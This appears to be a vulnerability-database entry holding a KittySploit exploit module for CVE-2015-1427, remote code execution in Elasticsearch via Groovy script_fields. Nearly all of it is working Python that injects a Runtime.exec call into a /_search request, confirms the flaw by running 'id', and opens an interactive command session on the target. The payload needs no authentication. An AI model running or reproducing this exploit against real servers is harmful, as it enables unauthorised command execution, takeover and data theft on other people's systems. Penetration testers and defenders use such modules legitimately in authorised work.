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Elasticsearch - Groovy Script RCE (CVE-2015-1427)

🗓️ 10 Aug 2026 06:19:08Reported by KittySploitType 
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Unauthenticated RCE in Elasticsearch via Groovy script_fields on /_search.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Elasticsearch Groovy RCE (CVE-2015-1427) — opens execute session."""

import json
import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Elasticsearch - Groovy Script RCE (CVE-2015-1427)',
        'description': (
            'Exploits CVE-2015-1427 Groovy script_fields RCE on Elasticsearch /_search. '
            'Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2015-1427'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2015-1427'],
        'tags': ['elasticsearch', 'rce', 'unauth', 'kev', 'cve-2015-1427'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 1,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/http/cve_2015_1427_detect'],
            },
        },
    }

    def execute(self, cmd: str) -> str:
        safe = str(cmd).replace('\\', '\\\\').replace('"', '\\"')
        payload = (
            '{"size":1, "script_fields": {"lupin":{"script": '
            f'"java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime()'
            f'.exec(\\"{safe}\\").getText()"}}}}'
        )
        r = self.http_request(
            method='POST',
            path='/_search?pretty',
            data=payload,
            headers={'Content-Type': 'application/json'},
            allow_redirects=False,
        )
        if not r:
            return ''
        body = r.text or ''
        try:
            data = json.loads(body)
            hits = data.get('hits', {}).get('hits', [])
            if hits:
                fields = hits[0].get('fields', {}).get('lupin', [])
                if fields:
                    return fields[0] if isinstance(fields[0], str) else str(fields[0])
        except Exception:
            pass
        return body

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2015-1427 confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'No id output', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()

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10 Aug 2026 06:19Current
8.9High risk
Vulners AI Score8.9
CVSS 27.5
CVSS 3.19.8
EPSS0.99906
SSVC
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